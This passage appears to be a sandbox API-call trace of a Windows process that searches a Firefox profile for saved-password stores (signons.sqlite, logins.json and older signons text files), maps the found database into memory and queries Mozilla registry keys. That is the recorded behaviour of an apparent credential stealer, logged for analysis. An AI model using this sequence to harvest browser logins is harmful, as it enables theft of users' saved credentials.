(lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.170] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="places.sqlite") returned 13 [0048.170] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.170] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="prefs.js") returned 8 [0048.170] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="search.json") returned 11 [0048.170] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="secmod.db") returned 9 [0048.170] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.170] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.170] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.170] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.170] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.170] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.170] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.171] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.171] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.171] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.171] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.171] lstrlenA (lpString="sessionstore.js") returned 15 [0048.171] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.171] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.171] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.171] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.171] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.171] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.171] lstrlenA (lpString="\\") returned 1 [0048.171] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.171] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.171] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.171] lstrlenA (lpString="signons.sqlite") returned 14 [0048.171] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.171] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.171] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.171] LocalFree (hMem=0x74fa60) returned 0x0 [0048.171] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.171] CloseHandle (hObject=0x390) returned 1 [0048.171] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.171] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.171] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.171] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.171] CloseHandle (hObject=0x390) returned 1 [0048.171] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.171] GetFileSize (in: hFile=0x390, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.171] CreateFileMappingA (hFile=0x390, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3b8 [0048.171] MapViewOfFile (hFileMappingObject=0x3b8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.173] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.174] CloseHandle (hObject=0x3b8) returned 1 [0048.174] CloseHandle (hObject=0x390) returned 1 [0048.174] LocalFree (hMem=0x74da88) returned 0x0 [0048.174] LocalFree (hMem=0x74d998) returned 0x0 [0048.174] lstrlenA (lpString="signons.sqlite") returned 14 [0048.175] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.175] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.175] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.175] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.175] lstrlenA (lpString="times.json") returned 10 [0048.175] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.175] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.175] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.175] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.175] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.175] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.175] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.175] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.175] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.175] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.175] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.175] lstrlenA (lpString="\\") returned 1 [0048.175] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.175] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.175] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.175] lstrlenA (lpString="webapps") returned 7 [0048.175] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fb40 [0048.175] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.175] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.175] LocalFree (hMem=0x74fa60) returned 0x0 [0048.175] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.181] lstrlenA (lpString="\\*.*") returned 4 [0048.181] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x74fc28 [0048.181] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.181] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.181] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.181] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.181] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.181] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.181] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.181] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.181] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.181] lstrlenA (lpString="webapps.json") returned 12 [0048.181] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.181] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.181] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.181] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.181] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.181] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.182] LocalFree (hMem=0x74fc28) returned 0x0 [0048.182] LocalFree (hMem=0x74fb40) returned 0x0 [0048.182] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.182] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.182] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.182] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.182] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.182] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.182] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.182] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 0 [0048.182] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.182] LocalFree (hMem=0x74f980) returned 0x0 [0048.182] LocalFree (hMem=0x746ac0) returned 0x0 [0048.182] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0 [0048.182] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.182] LocalFree (hMem=0x74d860) returned 0x0 [0048.182] LocalFree (hMem=0x745b68) returned 0x0 [0048.182] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.182] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0048.182] lstrlenA (lpString="profiles.ini") returned 12 [0048.182] StrStrIA (lpFirst="profiles.ini", lpSrch="logins.json") returned 0x0 [0048.182] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0048.182] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0048.182] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0048.182] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 0 [0048.182] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.182] LocalFree (hMem=0x74a738) returned 0x0 [0048.182] LocalFree (hMem=0x74a670) returned 0x0 [0048.182] LocalFree (hMem=0x7568e0) returned 0x0 [0048.182] LocalFree (hMem=0x756820) returned 0x0 [0048.182] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.182] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.182] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.182] RegCloseKey (hKey=0x398) returned 0x0 [0048.182] LocalFree (hMem=0x75b090) returned 0x0 [0048.182] LocalFree (hMem=0x7508d8) returned 0x0 [0048.182] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.182] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.182] lstrlenA (lpString="\\") returned 1 [0048.182] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.182] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.183] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.183] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.183] lstrlenA (lpString="extensions") returned 10 [0048.183] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0048.183] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.183] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0048.183] LocalFree (hMem=0x7548d0) returned 0x0 [0048.183] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Firefox") returned="Firefox 25.0\\extensions" [0048.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb98 | out: phkResult=0xefb98*=0x398) returned 0x0 [0048.183] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb90, lpData=0x0, lpcbData=0xefb94*=0x7 | out: lpType=0xefb90*=0x0, lpData=0x0, lpcbData=0xefb94*=0x0) returned 0x2 [0048.183] RegCloseKey (hKey=0x398) returned 0x0 [0048.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb6c | out: phkResult=0xefb6c*=0x398) returned 0x0 [0048.183] RegQueryValueExA (in: hKey=0x398, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb64, lpData=0x0, lpcbData=0xefb68*=0xefb50 | out: lpType=0xefb64*=0x0, lpData=0x0, lpcbData=0xefb68*=0x0) returned 0x2 [0048.183] RegCloseKey (hKey=0x398) returned 0x0 [0048.183] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb40 | out: phkResult=0xefb40*=0x0) returned 0x2 [0048.183] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.183] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.183] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.183] RegCloseKey (hKey=0x398) returned 0x0 [0048.183] LocalFree (hMem=0x75b090) returned 0x0 [0048.183] LocalFree (hMem=0x756820) returned 0x0 [0048.183] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x2, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.183] RegCloseKey (hKey=0x394) returned 0x0 [0048.183] LocalFree (hMem=0x75a808) returned 0x0 [0048.183] LocalFree (hMem=0x754820) returned 0x0 [0048.183] RegEnumKeyExA (in: hKey=0x3a0, dwIndex=0x3, lpName=0x74ccd0, lpcchName=0xefc44, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0xefc44, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.183] RegCloseKey (hKey=0x3a0) returned 0x0 [0048.183] LocalFree (hMem=0x74ccd0) returned 0x0 [0048.183] SetCurrentDirectoryA (lpPathName="C:\\Users\\aDU0VK IWA5kLS\\Desktop" (normalized: "c:\\users\\adu0vk iwa5kls\\desktop")) returned 1 [0048.183] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.183] IStream:LockRegion (This=0x7473d8, libOffset=0x148, cb=0x0, dwLockType=0x0) returned 0x0 [0048.183] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc54) returned 0x0 [0048.184] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0048.184] IStream:LockRegion (This=0x7473d8, libOffset=0x140, cb=0x0, dwLockType=0x0) returned 0x0 [0048.184] IStream:Stat (in: This=0x7473d8, pstatstg=0x140, grfStatFlag=0x0 | out: pstatstg=0x140) returned 0x0 [0048.184] LocalFree (hMem=0x7499f8) returned 0x0 [0048.184] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.184] IStream:LockRegion (This=0x7473d8, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0048.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0x1000f0d7) returned 0x0 [0048.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc50) returned 0x0 [0048.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc64) returned 0x0 [0048.184] IStream:Commit (This=0x7473d8, grfCommitFlags=0xefc68) returned 0x0 [0048.184] GetCurrentDirectoryA (in: nBufferLength=0x104, lpBuffer=0xefc6f | out: lpBuffer="C:\\Users\\aDU0VK IWA5kLS\\Desktop") returned 0x1f [0048.184] StrStrIA (lpFirst="Software\\Mozilla", lpSrch="Mozilla") returned="Mozilla" [0048.184] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc00 | out: phkResult=0xefc00*=0x3b4) returned 0x0 [0048.184] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbf8, lpData=0x0, lpcbData=0xefbfc*=0x7 | out: lpType=0xefbf8*=0x0, lpData=0x0, lpcbData=0xefbfc*=0x0) returned 0x2 [0048.184] RegCloseKey (hKey=0x3b4) returned 0x0 [0048.184] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Mozilla", ulOptions=0x0, samDesired=0x20219, phkResult=0xefbd4 | out: phkResult=0xefbd4*=0x3b4) returned 0x0 [0048.184] RegQueryValueExA (in: hKey=0x3b4, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefbcc, lpData=0x0, lpcbData=0xefbd0*=0xefbb8 | out: lpType=0xefbcc*=0x0, lpData=0x0, lpcbData=0xefbd0*=0x0) returned 0x2 [0048.184] 